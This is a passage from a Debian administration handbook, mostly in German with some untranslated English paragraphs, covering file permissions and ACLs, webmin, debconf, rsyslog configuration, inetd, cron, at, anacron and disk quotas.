When an application creates a file, it assigns indicative permissions, knowing that the system automatically removes certain rights, given by the command umask. Enter umask in a shell; you will see a mask such as 0022. This is simply an octal representation of the rights to be systematically removed. In this case, the write right for the group and other users: With the above umask value, the default for directories 777 becomes 755 and the default permissions for files 666 become 644.

The system's default value is handled by pam_umask(8) and /etc/login.defs.

If you give it a new octal value, the umask command modifies the mask. Used in a shell initialization file (for example, ~/.bashrc or ~/.profile), it will effectively change the default mask for your work sessions.

9.3.2. ACLs - Access Control Lists

Many filesystems, e.g. Btrfs, Ext3, Ext4, JFS, XFS, etc., support the use of Access Control Lists (ACLs). These extend the basic features of file ownership and permission, described in the previous section, and allow for a more fine-grained control of each (file) object. For example: A user wants to share a file with another user and that user should only be able to read the file, but not write or change it.

For some of the filesystems, the usage of ACLs is enabled by default (e.g. Btrfs, Ext3, Ext4). For other filesystems or older systems it must be enabled using the acl mount option - either in the mount command directly or in /etc/fstab. In the same way the usage of ACLs can be disabled by using the noacl mount option. For Ext* filesystems one can also use the tune2fs -o [no]acl /dev/device command to enable/disable the usage of ACLs by default. The default values for each filesystem can usually be found in their homonym manual pages in section 5 (filesystem(5)) or in mount(8).

After enabling ACLs, permissions can be set using the setfacl(1) command, while getfacl(1) allows one to retrieve the ACLs for a given object or path. These commands are part of the acl package. With setfacl one can also configure newly created files or directories to inherit permissions from the parent directory. It is important to note that ACLs are processed in their order and that an earlier entry that fits the situation has precedence over later entries.

If a file has ACLs set, the output of the ls -l command will show a plus-sign after the traditional permissions. When using ACLs, the chmod command behaves slightly different, and umask might be ignored. The extensive documentation, e.g. acl(5) contains more information.

9.4. Administrations-Schnittstellen

Eine grafische Schnittstelle für die Administration zu benutzen, ist unter verschiedenen Umständen interessant. Ein Administrator kennt nicht unbedingt alle Konfigurationseinzelheiten für alle seine Dienste, und er hat nicht immer Zeit, sich auf die Suche nach der Dokumentation für ein Thema zu machen. Eine grafische Schnittstelle für die Administration kann daher die Bereitstellung eines neuen Dienstes beschleunigen. Sie kann auch die Einrichtung von Diensten vereinfachen, die schwierig zu konfigurieren sind.

Eine derartige Schnittstelle ist nur eine Hilfe und kein Selbstzweck. Auf jeden Fall muss der Administrator ihr Verhalten beherrschen, um mögliche Probleme verstehen und umgehen zu können.

Da keine Schnittstelle vollkommen ist, könnten Sie versucht sein, verschiedene Lösungen auszuprobieren. Dies sollte jedoch möglichst vermieden werden, da verschiedene Programme manchmal in ihren Funktionsweisen zueinander inkompatibel sind. Selbst wenn sie alle darauf abzielen, sehr flexibel zu sein und versuchen, die Konfigurationsdatei als ihren einzigen Bezugspunkt zu verwenden, sind sie nicht immer in der Lage, auch externe Veränderungen einzubeziehen.

9.4.1. Über eine Webschnittstelle administrieren: webmin

Dies ist ohne Zweifel eine der erfolgreichsten Administrations-Schnittstellen. Es ist ein modulares System, das mittels eines Webbrowsers bedient wird und ein weites Spektrum an Bereichen und Werkzeugen abdeckt. Darüber hinaus ist es internationalisiert und in vielen Sprachen verfügbar.

Abbildung 9.5. Webmin-Dashboard

Sadly, webmin is no longer part of Debian. Its Debian maintainer removed the packages created because they no longer had the time required to maintain them at an acceptable quality level. Nobody has officially taken over, so Debian does not provide the webmin package.

Auf der Webseite webmin.com wird jedoch ein inoffizielles Paket verteilt. Im Gegensatz zu den originalen Debian Paketen, ist dieses Paket monolithisch; alle seine Konfigurationsmodule werden standardmäßig installiert und aktiviert, selbst wenn der dazugehörige Dienst auf dem Rechner nicht installiert ist.

SICHERHEIT Das Root-Passwort ändern

On the first login, identification is conducted with the root username and its usual password (or any user's login credentials which belongs to the sudo group). It is recommended to change the password used for webmin as soon as possible, so that if it is compromised, the server's user accounts will not be involved, even if this confers important administrative rights to the machine.

Beware! Since webmin has so many features, a malicious user accessing it could compromise the security of the entire system. In general, interfaces of this kind are not recommended for important systems with strong security constraints (firewall, sensitive servers, etc.), and they are not recommended to be exposed to the public either.

Webmin wird durch eine Webschnittstelle bedient, es erfordert aber nicht die Installation von Apache. Im Grunde hat diese Software ihren eigenen integrierten Mini-Webserver. Dieser Server wartet an Port 10000 auf Anfragen und nimmt sichere HTTP-Verbindungen an.

Die mitgelieferten Module decken eine große Vielfalt von Diensten ab, unter anderem:

all base services: creation of users and groups, management of crontab files, service scripts/files, viewing of logs, etc.

bind: Konfiguration eines DNS-Servers (Namensdienst);

postfix: Konfiguration eines SMTP-Servers (E-Mail);

network services: configuration of the xinetd super-server;

disk quota: user quota management;

dhcpd: Konfiguration eines DHCP-Servers;

proftpd: Konfiguration eines FTP-Servers;

samba: Konfiguration eines Samba-Dateiservers;

software: Installierung und Entfernung von Software aus Debian-Paketen und Systemaktualisierungen.

Die Administrations-Schnittstelle ist in einem Webbrowser über die Adresse https://localhost:10000 zu erreichen. Vorsicht! Nicht alle Module sind unmittelbar nutzbar. Manchmal müssen sie durch die Angabe der Speicherorte der jeweiligen Konfigurationsdateien und einiger ausführbarer Dateien (Programme) konfiguriert werden. Häufig wird das System Sie freundlich hierauf hinweisen, wenn es ihm nicht gelingt, ein gewünschtes Modul zu aktivieren.

ALTERNATIVE GNOME Control Center

Das Projekt GNOME stellt vielfache Verwaltungsschnittstellen zur Verfügung, die normalerweise über den Settings-Eintrag im User-Menü oben rechts zugänglich sind. gnome-control-centerist das übergreifende Hauptprogramm, aber viele der systemweiten Konfigrationsswerkzeuge werden tatsächlich von anderen Paketen (accountsservice, system-config-printer, etc.) zur Verfügung gestellt. Obwohl in der Benutzung einfach gehalten, stellen diese Anwendungen nur eine begrenzte Zahl an Basisdiensten zur Verfügung: Benutzerverwaltung, Zeit-, Netzwerk-, Druckerkonfiguration und so weiter.

9.4.2. Pakete konfigurieren: debconf

Many packages are automatically configured after asking a few questions during installation through the Debconf tool. These packages can be reconfigured by running dpkg-reconfigure -plevel package.

In den meisten Fällen sind diese Einstellungen sehr einfach; es werden nur einige wichtige Variablen in der Konfigurationsdatei geändert. Diese Variablen sind häufig zwischen zwei „Begrenzungszeilen“ gruppiert, so dass eine Neukonfiguration des Pakets nur Einfluss auf den eingeschlossenen Bereich hat. In anderen Fällen wird eine Neukonfiguration nichts ändern, falls das Skript eine manuelle Änderung der Konfigurationsdatei entdeckt, um so diese menschlichen Eingriffe zu bewahren (da das Skript nicht sicherstellen kann, dass seine eigenen Veränderungen nicht die vorhandenen Einstellungen stören würden).

DEBIAN-RICHTLINIEN Veränderungen bewahren

Die Debian-Richtlinien legen ausdrücklich fest, dass alles getan werden sollte, um manuelle Veränderungen einer Konfigurationsdatei zu bewahren. Daher treffen immer mehr Skripten Vorsichtsmaßnahmen, wenn sie Konfigurationsdateien editieren. Das allgemeine Prinzip ist einfach: das Skript nimmt nur dann Änderungen vor, wenn es den Status der Konfigurationsdatei kennt, was durch einen Vergleich der Prüfsumme der Datei mit derjenigen der letzten automatisch erzeugten Datei überprüft wird. Falls sie gleich sind, ist es dem Skript erlaubt, die Konfigurationsdatei zu ändern. Anderenfalls entscheidet es, dass die Datei verändert wurde und fragt, welche Aktion es durchführen soll (eine neue Datei installieren, die alte Datei speichern oder zu versuchen, die Änderungen in die bestehende Datei zu integrieren). Dieses Vorsorgeprinzip gab es lange Zeit nur bei Debian, inzwischen haben aber auch andere Distributionen damit begonnen, es sich zu eigen zu machen.

Das Programm ucf (aus dem gleichnamigen Debian-Paket) kann dazu verwendet werden, ein derartiges Verhalten umzusetzen.

9.5. syslog Systemereignisse

9.5.1. Prinzip und Mechanismus

Der rsyslogd-Daemon ist für das Sammeln von Meldungen zuständig, die von den Anwendungen und vom Kernel kommen, und für ihre Verteilung auf weitere Protokolldateien (die normalerweise im Verzeichnis /var/log/ gespeichert werden). Er richtet sich nach der Konfigurationsdatei /etc/rsyslog.conf.

Jede Protokollmeldung ist einem Anwendungsuntersystem zugeordnet (in der Dokumentation „facility“ genannt):

auth und authpriv: für die Authentifizierung;

cron: kommt von den Diensten für die Aufgabenterminierung cron und atd;

daemon: betrifft einen nicht näher bestimmten Daemon (DNS, NTP usw.);

ftp: bezieht sich auf den FTP-Server;

kern: eine vom Kernel kommende Meldung;

lpr: kommt vom Druck-Subsystem;

mail: kommt vom E-Mail-Subsystem;

news: Usenet-Subsystemmeldung (insbesondere von einem NNTP-Server [Network News Transfer Protocol], der Nachrichtenforen verwaltet);

syslog: Meldungen vom syslogd-Server selbst;

user: Benutzermeldungen (allgemein);

uucp: Meldungen vom UUCP-Server (Unix to Unix Copy Program, ein altes vor allem zur Verteilung von E-Mails verwendetes Protokoll);

local0 bis local7: für die lokale Verwendung reserviert.

Jeder Meldung ist auch eine Prioritätsstufe zugeordnet. Hier sind sie in abnehmender Reihenfolge:

emerg: „Hilfe!“ Es gibt einen Notfall, das System ist möglicherweise unbrauchbar.

alert: Beeilung! Jede Verzögerung kann gefährlich sein, es muss sofort etwas unternommen werden;

crit: die Umstände sind kritisch;

err: Fehler;

warn: Warnung (möglicher Fehler);

notice: die Umstände sind normal, aber die Meldung ist wichtig;

info: aufschlussreiche Meldung;

debug: Fehlerbeseitigungsmeldung.

9.5.2. Die Konfigurationsdatei

The syntax of the /etc/rsyslog.conf file is detailed in the rsyslog.conf(5) manual page, but there is also HTML documentation available in the rsyslog-doc package (/usr/share/doc/rsyslog-doc/html/index.html). The overall principle is to write “selector” and “action” pairs. The selector defines all relevant messages, and the action describes how to deal with them.

9.5.2.1. Syntax des Selektors

Der Selektor ist eine durch Semikolon getrennte Liste von subsystem.priorität-Paaren (Beispiel: auth.notice;mail.info). Ein Stern kann für alle Subsysteme oder alle Prioritäten stehen (Beispiele: *.alert oder mail.*). Mehrere Subsysteme können in einer Gruppe zusammengefasst werden, indem sie durch ein Komma getrennt werden (Beispiel: auth,mail.info). Die angezeigte Priorität bezieht sich auch auf Meldungen gleicher oder höherer Priorität; so bezeichnet auth.alert Meldungen des auth-Subsystems mit der Priorität alert oder emerg. Mit einem vorangestellten Ausrufezeichen (!) bezeichnen sie das Gegenteil, mit anderen Worten nur die niedrigeren Prioritäten; so bezeichnet auth.!notice Meldungen, die von auth mit den Prioritäten info oder debug verschickt worden sind. Mit einem vorangestellten Gleichheitszeichen (=) beziehen sie sich genau und ausschließlich auf die angegebene Priorität (bei auth.=notice handelt es sich ausschließlich um Meldungen von auth mit der Priorität notice).

Jedes Element in der Auswahlliste setzt vorhergehende Elemente außer Kraft. Es ist somit möglich, die Menge einzugrenzen oder bestimmte Elemente von ihr auszuschließen. Zum Beispiel bezeichnet kern.info;kern.!err Meldungen vom Kernel mit einer Priorität zwischen info und warn. Die Priorität none bezeichnet die leere Menge (keine Prioritäten) und kann dazu dienen, ein Subsystem von einer Menge von Meldungen auszuschließen. So bezeichnet *.crit;kern.none alle Meldungen mit der Priorität crit oder höher, die nicht vom Kernel kommen.

9.5.2.2. Syntax der Aktionen

ZURÜCK ZU DEN GRUNDLAGEN Die benannte Pipe, eine beständige Pipe

Eine benannte Pipe ist eine besondere Dateiart, die wie eine gewöhnliche Pipe funktioniert (die Pipe, die man mit dem Symbol „|“ auf der Befehlszeile erstellt), aber mittels einer Datei. Dieses Vorgehen hat den Vorteil, dass sich so zwei unzusammenhängende Prozesse verknüpfen lassen. Alles, was in eine benannte Pipe geschrieben wird, hält den schreibenden Prozess an, bis ein anderer Prozess die geschriebenen Daten zu lesen versucht. Dieser zweite Prozess liest die Daten, die vom ersten geschrieben wurden, der daraufhin seinen Ablauf wieder aufnehmen kann.

Eine derartige Datei wird durch den Befehl mkfifo erstellt.

Die verschiedenen möglichen Aktionen sind:

die Meldung zu einer Datei hinzufügen (Beispiel: /var/log/messages);

die Meldung an einen entfernten syslog-Server schicken (Beispiel: @log.falcot.com);

die Meldung an eine bestehende benannte Pipe schicken (Beispiel: |/dev/xconsole);

die Meldung an einen oder mehrere Benutzer schicken, falls sie angemeldet sind (Beispiel: root,rhertzog);

die Meldung an alle angemeldeten Benutzer schicken (Beispiel: *);

die Nachricht in eine Textkonsole schreiben (Beispiel: /dev/tty8).

SICHERHEIT Protokolle weiterleiten

Es empfiehlt sich, die wichtigsten Protokolle auf einem getrennten Rechner aufzuzeichnen (vielleicht auf einem, der speziell diesem Zweck dient), da dies einen möglichen Eindringling daran hindert, Spuren seines Eindringens zu verwischen (es sei denn natürlich, dass er auch diesen anderen Server kompromittiert). Außerdem sind im Falle eines wesentlichen Problems (wie einem Kernel-Crash) die Protokolle auf einem anderen Rechner verfügbar, was die Chancen erhöht, den Ablauf der Ereignisse, die den Crash verursacht haben, zu bestimmen.

Für den Empfang von Protokollmeldungen, die von anderen Rechnern geschickt werden, müssen Sie die Konfiguration von rsyslog ändern: im Prinzip reicht es aus, die gebrauchsfertigen Einträge in /etc/rsyslog.conf ($ModLoad imudp und $UDPServerRun 514) zu aktivieren.

9.6. Der Superserver inetd

Inetd (häufig „Internet-Superserver“ genannt) ist ein Server der Server. Er führt selten genutzte Server nach Bedarf aus, so dass sie nicht ständig laufen müssen.

Die Datei /etc/inetd.conf listet diese Server und ihre üblichen Ports auf. Der Befehl inetd wartet an allen diesen Ports auf Anfragen; wenn er eine Verbindung zu einem dieser Ports entdeckt, führt er das entsprechende Serverprogramm aus.

DEBIAN POLICY Register a server in /etc/inetd.conf

Häufig möchten Pakete einen neuen Server in der Datei /etc/inetd.conf registrieren, aber die Debian-Richtlinien verbieten es einem Paket, eine Konfigurationsdatei zu verändern, die ihm nicht gehört. Deshalb wurde das update-inetd-Skript (in dem gleichnamigen Paket) geschaffen: es verwaltet die Konfigurationsdatei, und andere Pakete können es daher benutzen, um einen neuen Server bei der Konfiguration des Superservers zu registrieren.

Jede bedeutende Zeile der Datei /etc/inetd.conf beschreibt einen Server in sieben Feldern (getrennt durch Leerzeichen):

Die TCP- oder UDP-Portnummer oder der Dienstname (der einer Standardportnummer mit der Information, die in der Datei /etc/services enthalten ist, zugeordnet ist).

Der Socket-Typ: stream für eine TCP-Verbindung, dgram für UDP-Datagramme.

The protocol: tcp, tcp6, udp, or udp6.

Die Optionen: zwei mögliche Werte: wait oder nowait, um inetd mitzuteilen, ob er auf das Ende des gestarteten Prozesses warten soll, bevor er eine andere Verbindung annimmt oder nicht. Für TCP-Verbindungen, die einen Kanal leicht mehrfach nutzen können, können Sie normalerweise nowait verwenden. Für Programme, die über UDP antworten, sollten Sie nowait nur dann verwenden, wenn der Server in der Lage ist, mehrere Verbindungen parallel zu verwalten. Sie können an dieses Feld einen Punkt anhängen, gefolgt von der Höchstzahl der Verbindungen, die pro Minute erlaubt ist (der Standardgrenzwert ist 256).

The user name of the user under whose identity the server will run. Optionally one can add the group too via user.group syntax.

Der vollständige Pfad zu dem auszuführenden Serverprogramm.

Die Argumente: dies ist eine vollständige Liste der Argumente des Programms einschließlich seines eigenen Namens (argv[0] in C).

The following example illustrates some use-cases after installing talkd, nullidentd (ident-server), and fingerd:

Beispiel 9.1. Auszug aus /etc/inetd.conf

#:BSD: Shell, login, exec and talk are BSD protocols. talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd ntalk dgram udp wait nobody.tty /usr/sbin/in.ntalkd in.ntalkd #:INFO: Info services ident stream tcp nowait nobody /usr/sbin/nullidentd nullidentd finger stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/in.fingerd

The tcpd program is frequently used in the /etc/inetd.conf file. It allows limiting incoming connections by applying access control rules, documented in the hosts_access(5) manual page, and which are configured in the /etc/hosts.allow and /etc/hosts.deny files. Once it has been determined that the connection is authorized, tcpd executes the real server (like in.fingerd in our example). It is worth noting that tcpd relies on the name under which it was invoked (that is the first argument, argv[0]) to identify the real program to run. So you should not start the arguments list with tcpd but with the program that must be wrapped.

GEMEINSCHAFT Wietse Venema

Wietse Venema, whose expertise in security has made him a renowned programmer, is the author of the tcpd program. He is also the main creator of Postfix, the modular e-mail server (SMTP, Simple Mail Transfer Protocol), designed to be safer and more reliable than sendmail, which features a long history of security vulnerabilities. We will have a closer look at this mail server in Abschnitt 11.1, „Mail-Server“.

ALTERNATIVE Weitere inetd Befehle

While Debian installs openbsd-inetd by default, there is no lack of alternatives: we can mention inetutils-inetd, rlinetd, and xinetd, which all provide the virtual package inet-superserver.

Most of these alternatives share the same configuration file /etc/inetd.conf.

This last incarnation of a super-server however, offers different syntax and very interesting possibilities. Most notably, its configuration can be split into several files (stored, of course, in the /etc/xinetd.d/ directory), which can make an administrator's life easier. It is considered to be more powerful, but also more complex.

Nicht zuletzt ist es sogar möglich, das Verhalten von inetd mit systemds Socket-Aktivierungsmechanismus nachzubilden (siehe Abschnitt 9.1.1, „Das systemd Initialisierungssystem“).

9.7. Aufgaben mit cron und atd zeitlich festlegen

cron is the daemon responsible for executing scheduled and recurring commands (every hour, every day, every week, etc.). atd deals with commands to be executed a single time, but at a specific moment in the future.

In einem Unix-System sind viele Aufgaben für eine regelmäßige Ausführung zeitlich geplant:

die Protokolldateien rotieren;

die Datenbank für das Programm locate aktualisieren;

Daten sichern;

Wartungsskripten ausführen (wie das Entfernen temporärer Dateien).

Standardmäßig können alle Benutzer die Ausführung von Aufgaben planen. Daher hat jeder Benutzer sein eigenes crontab, in dem er seine geplanten Befehle eintragen kann. Es kann mit dem Aufruf von crontab -e editiert werden (sein Inhalt ist in der Datei /var/spool/cron/crontabs/benutzer gespeichert).

SICHERHEIT cron und atd einschränken

You can restrict access to crontab by creating an explicit authorization file (whitelist) in /etc/cron.allow, in which you indicate the only users authorized to schedule commands. All others will automatically be deprived of this feature. Conversely, to only block one or two troublemakers, you could write their username in the explicit prohibition file (blacklist), /etc/cron.deny. This same feature is available for atd, with the /etc/at.allow and /etc/at.deny files (also described in their manual pages).

Der Root-Benutzer hat sein eigenes crontab, kann aber auch die Datei /etc/crontab benutzen oder zusätzliche crontab-Dateien in das Verzeichnis /etc/cron.d eintragen. Die beiden letztgenannten Lösungen haben den Vorteil, dass man mit ihnen die Benutzeridentität spezifizieren kann, die bei der Ausführung des Befehls verwendet werden muss.

Das Paket cron enthält standardmäßig einige zeitlich geplante Befehle, die folgendes ausführen:

stündlich Programme im Verzeichnis /etc/cron.hourly/;

täglich Programme in /etc/cron.daily/;

wöchentlich Programme in /etc/cron.weekly/;

monatlich Programme in /etc/cron.monthly/.

Viele Debian-Pakete sind auf diesen Dienst angewiesen: indem sie Wartungsskripten in diese Verzeichnisse legen, stellen sie den optimalen Betrieb ihrer Dienste sicher.

9.7.1. Aufbau der Datei crontab

TIPP Abkürzungen für cron

cron erkennt einige Abkürzungen, die die ersten fünf Felder eines crontab-Eintrags ersetzen. Sie entsprechen den üblichsten Optionen für die Zeitplanung:

@yearly: jährlich (1. Januar um 00:00 Uhr);

@monthly: monatlich (am Ersten des Monats um 00:00 Uhr);

@weekly: wöchentlich (sonntags um 00:00 Uhr);

@daily: täglich (um 00:00 Uhr);

@hourly: stündlich (zu Beginn jeder Stunde).

More abbreviations are recognized, like @rebootor @midnight.

SONDERFALL cron und Sommerzeit

In Debian berücksichtigt cron die Zeitumstellung (für die Sommerzeit oder genau genommen für jede bedeutende Änderung der Ortszeit) so gut wie möglich. So werden die Befehle, die während einer nicht existenten Stunde hätten ausgeführt werden sollen (zum Beispiel Aufgaben, die für 02:30 Uhr während der Zeitumstellung im Frühjahr geplant waren, da die Uhr um 02:00 Uhr direkt auf 03:00 Uhr springt), kurz nach der Zeitumstellung (das heißt um 03:00 Uhr Sommerzeit) ausgeführt. Andererseits werden Befehle im Herbst, wenn sie mehrmals ausgeführt würden (um 02:30 Uhr Sommerzeit und dann wieder eine Stunde später um 02:30 Uhr Normalzeit, da die Uhr um 03:00 Uhr Sommerzeit auf 02:00 Uhr zurückspringt), nur einmal ausgeführt.

Seien Sie jedoch vorsichtig: wenn die Reihenfolge, in der verschiedene geplante Aufgaben ausgeführt werden, und die Verzögerung zwischen den jeweiligen Ausführungszeitpunkten eine Rolle spielt, sollten Sie die Kompatibilität dieser Einschränkungen mit dem Verhalten von cron überprüfen; falls erforderlich, können Sie einen speziellen Zeitplan für die beiden problematischen Nächte des Jahres aufstellen.

Each significant line of a crontab entry describes a scheduled command with the six (or seven) following fields:

the value for the minute (from 0 to 59);

den Wert für die Stunde (von 0 bis 23);

den Wert für den Tag des Monats (von 1 bis 31);

den Wert für den Monat (von 1 bis 12);

den Wert für den Wochentag (von 0 bis 7, wobei 1 dem Montag entspricht und Sonntag sowohl durch 0 als auch durch 7 dargestellt wird; es ist auch möglich, die ersten drei Buchstaben des englischen Namens des Wochentages zu verwenden, wie Sun, Mon, usw.);

den Benutzernamen, unter dessen Identität der Befehl ausgeführt werden muss (in der Datei /etc/crontab und in den Fragmenten, die sich in /etc/cron.d/ befinden, aber nicht in den eigenen crontab-Dateien des Benutzers);

den auszuführenden Befehl (wenn die durch die ersten fünf Spalten festgelegten Bedingungen erfüllt sind).

Alle diese Einzelheiten sind auf der Handbuchseite crontab(5) dokumentiert.

Each value can also be expressed in the form of a list of possible values (separated by commas). The syntax a-b describes the interval of all the values between a and b. The syntax a-b/c describes the interval with an increment of c (example: 0-10/2 means 0,2,4,6,8,10). An asterisk * is a wildcard, representing all possible values.

Beispiel 9.2. Sample user crontab file

#Format #min hour day mon dow command # Download data every night at 7:25 pm 25 19 * * * $HOME/bin/get.pl # 8:00 am, on weekdays (Monday through Friday) 00 08 * * 1-5 $HOME/bin/dosomething # every two hours * */2 * * * $HOME/bin/dosomethingelse # Restart the IRC proxy after each reboot @reboot /usr/bin/dircproxy

TIPP Einen Befehl beim Hochfahren ausführen

Um einen Befehl unmittelbar nach dem Hochfahren des Rechners einmal auszuführen, können Sie das Makro @reboot verwenden (ein einfacher Neustart von cron löst keinen Befehl aus, der mit @reboot eingerichtet worden ist). Dieses Makro ersetzt die ersten fünf Felder eines crontab-Eintrags.

ALTERNATIVE cron mit systemd emulieren

Es ist möglich, einen Teil des Verhaltens von cron mit systemds Timermechanismus nachzubilden (siehe Abschnitt 9.1.1, „Das systemd Initialisierungssystem“).

9.7.2. Verwendung des Befehls at

The at executes a command at a specified moment in the future. It takes the desired time and date as command-line parameters, and the command to be executed in its standard input. The command will be executed as if it had been entered in the current shell. at even takes care to retain the current environment, in order to reproduce the same conditions when it executes the command. The time is indicated by following the usual conventions: 16:12 or 4:12pm represents 4:12 pm. The date can be specified in several European and Western formats, including DD.MM.YY (27.07.22 thus representing 27 July 2022), YYYY-MM-DD (this same date being expressed as 2022-07-27), MM/DD/[CC]YY (i.e., 12/25/22 or 12/25/2022 will be December 25, 2022), or simple MMDD[CC]YY (so that 122522 or 12252022 will, likewise, represent December 25, 2022). Without it, the command will be executed as soon as the clock reaches the time indicated (the same day, or tomorrow if that time has already passed on the same day). You can also simply write “today” or “tomorrow”, which is self-explanatory.

$ at 09:00 27.07.22 <<END > echo "Don't forget to wish a Happy Birthday to Raphaël!" \ > | mail lolando@debian.org > END warning: commands will be executed using /bin/sh job 1 at Wed Jul 27 09:00:00 2022

Eine andere Syntax verschiebt die Ausführung um eine bestimmte Zeit: at now + Zahl Dauer. Die Dauer kann minutes, hours, days oder weeks sein. Die Zahl zeigt lediglich die Anzahl der genannten Einheiten an, die vor der Ausführung des Befehls verstrichen sein müssen.

Um eine mit cron geplante Aufgabe zu annullieren, führen Sie einfach crontab -e aus und löschen die entsprechende Zeile in der crontab-Datei. Für at-Aufgaben ist es fast genauso einfach: Führen Sie atrm Aufgabennummer aus. Die Nummer einer Aufgabe wird vom at-Befehl angezeigt, wenn Sie sie planen, aber Sie können sie auch mit dem Befehl atq wiederfinden, der die aktuelle Liste der geplanten Aufgaben ausgibt.

9.8. Asynchrone Aufgaben planen: anacron

anacron ist ein Daemon, der cron für solche Rechner ergänzt, die nicht ständig laufen. Da regelmäßige Aufgaben normalerweise für die Nacht geplant sind, werden sie nie ausgeführt, falls der Rechner zu dieser Zeit ausgeschaltet ist. Der Zweck von anacron besteht darin, sie unter Berücksichtigung der Zeiten, in denen der Rechner nicht läuft, auszuführen.

Bitte beachten Sie, dass anacron derartige Aktivitäten häufig einige Minuten nach dem Hochfahren des Rechners ausführen wird, wodurch der Computer langsamer reagieren kann. Daher werden Aufgaben in der Datei /etc/anacrontab mit dem Befehl nice gestartet, der ihre Ausführungspriorität reduziert und so ihren Einfluss auf das übrige System begrenzt. Vorsicht, das Format dieser Datei ist nicht das gleiche wie /etc/crontab; falls Sie besondere Anforderungen an anacron haben, sehen Sie auf der Handbuchseite anacrontab(5) nach.

ZURÜCK ZU DEN GRUNDLAGEN Prioritäten und der Befehl nice

Unix systems (and thus Linux) are multi-tasking and multi-user systems. Indeed, several processes can run in parallel, and be owned by different users: the kernel mediates access to the resources between the different processes. As a part of this task, it has a concept of priority, which allows it to favor certain processes over others, as needed. When you know that a process can run in low priority, you can indicate so by running it with nice program. The program will then have a smaller share of the CPU, and will have a smaller impact on other running processes. Of course, if no other process needs to run, the program will not be artificially held back.

nice arbeitet mit Stufen von „niceness“: die positiven Stufen (von 1 bis 19) verringern zunehmend die Priorität, während die negativen Stufen (von -1 bis -20) sie erhöhen - aber nur Root kann diese negativen Stufen benutzen. Falls nichts anderes angegeben ist (siehe die Handbuchseite nice(1)), erhöht nice die aktuelle Stufe um 10.

Falls Sie bemerken, dass eine bereits laufende Aufgabe mit nice hätte gestartet werden sollen, ist es nicht zu spät, dies zu korrigieren; der Befehl renice ändert die Priorität eines bereits laufenden Prozesses in die eine oder andere Richtung (es ist jedoch dem Root-Benutzer vorbehalten, die „niceness“ eines Prozesses zu reduzieren).

Das Installieren des Pakets anacron deaktiviert die Ausführung der Skripten in den Verzeichnissen /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ und /etc/cron.monthly/ durch cron. Hierdurch wird eine doppelte Ausführung durch anacron und cron vermieden. Der Befehl cron bleibt jedoch aktiv und führt die übrigen geplanten Aufgaben aus (vor allem die von den Benutzern geplanten).

9.9. Quotas

Das Quota-System erlaubt es, die Zuteilung von Speicherplatz an einen Benutzer oder eine Gruppe von Benutzern zu begrenzen. Um es einzurichten, benötigen Sie einen Kernel, der es unterstützt (der mit der Option CONFIG_QUOTA kompiliert wurde) - wie es bei Debian-Kerneln der Fall ist. Die Quota-Management-Software befindet sich im Debian Paket quota.

Um Quota in einem Dateisystem zu aktivieren, müssen Sie die Optionen usrquota und grpquota in /etc/fstab jeweils für die Benutzer- und die Gruppen-Quota angeben. Durch einen Neustart des Rechners werden dann die Quota während der Inaktivität der Festplatte aktualisiert (eine notwendige Voraussetzung für das korrekte Erfassen bereits genutzten Speicherplatzes).

Der Befehl edquota Benutzer (oder edquota -g Gruppe) ermöglicht es Ihnen, die Grenzwerte zu ändern und zugleich die aktuelle Verwendung des Speicherplatzes zu überprüfen.

WEITERE SCHRITTE Quota mit einem Skript festlegen

Das Programm setquota kann dazu verwendet werden, mithilfe eines Skripts selbsttätig zahlreiche Quota zu ändern. Seine Handbuchseite setquota(8) beschreibt ausführlich die zu verwendende Syntax.

Das Quota-System ermöglicht es Ihnen, vier Grenzen zu setzen:

two limits (called “soft” and “hard”) refer to the number of blocks consumed. If the filesystem was created with a block-size of 1 kibibyte, the 1024 available bytes of each block can only be assigned to one file. Unsaturated blocks thus induce losses of disk space. A quota of 100 blocks, which theoretically allows storage of 102,400 bytes, will, however, be saturated with just 100 files of 500 bytes each, only representing 50,000 bytes in total.

two limits (“soft” and “hard”) refer to the number of inodes used. Each file occupies at least one inode to store information about it (permissions, owner, timestamp of last access, etc.). It is thus a limit on the number of user files.

Eine „weiche“ Grenze kann vorübergehend überschritten werden; der Benutzer wird lediglich durch den Befehl warnquota, der gewöhnlich durch cron aufgerufen wird, gewarnt, dass er die Quota überschreitet. Eine „harte“ Grenze kann niemals überschritten werden; das System weist jede Operation ab, die zu einem Überschreiten einer harten Quota führen würde.

WÖRTERVERZEICHNIS Blöcke und Inodes

Das Dateisystem unterteilt die Festplatte in Blöcke - kleine zusammenhängende Bereiche. Die Größe dieser Blöcke wird während der Erstellung des Dateisystems festgelegt und variiert normalerweise zwischen 1 und 8 Kilobytes.

Ein Block kann entweder dazu genutzt werden, die tatsächlichen Daten einer Datei oder die vom Dateisystem verwendeten Metadaten zu speichern. Zu diesen Metadaten gehören insbesondere die Inodes. Ein Inode belegt einen Block auf der Festplatte (aber dieser Block wird bei der Block-Quota nicht berücksichtigt, sondern nur bei der Inode-Quota) und enthält sowohl Informationen über die Datei, zu der er gehört (Name, Eigentümer, Berechtigungen usw.), als auch die Zeiger zu den Datenblöcken, die tatsächlich genutzt werden. Für sehr große Dateien, die mehr Blöcke belegen, als in einem einzelnen Inode referenziert werden können, gibt es ein indirektes Blocksystem; der Inode verweist auf eine Liste von Blöcken, die nicht direkt Daten, sondern eine Liste anderer Blöcke enthalten.

Mit dem Befehl edquota -t können Sie eine höchstens erlaubte „Schonfrist“ festlegen, bis zu der eine weiche Grenze überschritten werden darf. Nach Ablauf dieser Frist wird die weiche Grenze wie eine harte behandelt, und der Benutzer muss seinen Speicherplatzverbrauch auf diese Grenze verringern, um etwas auf die Festplatte schreiben zu können.

WEITERE SCHRITTE Eine Standardquota für neue Benutzer einrichten

Um automatisch eine Quota für neue Benutzer festzulegen, müssen Sie (mit edquota oder setquota) einen Muster-Benutzer konfigurieren und seinen Benutzernamen in der QUOTAUSER-Variablen der Datei /etc/adduser.conf angeben. Diese Quota-Konfiguration wird dann automatisch auf jeden mit dem Befehl adduser erstellten Benutzer angewendet.

9.10. Datensicherung

Das Erstellen von Sicherheitskopien ist eine der Hauptaufgaben eines Administrators, aber es ist ein kompliziertes Thema mit mächtigen Werkzeugen, die häufig schwierig zu bedienen sind.

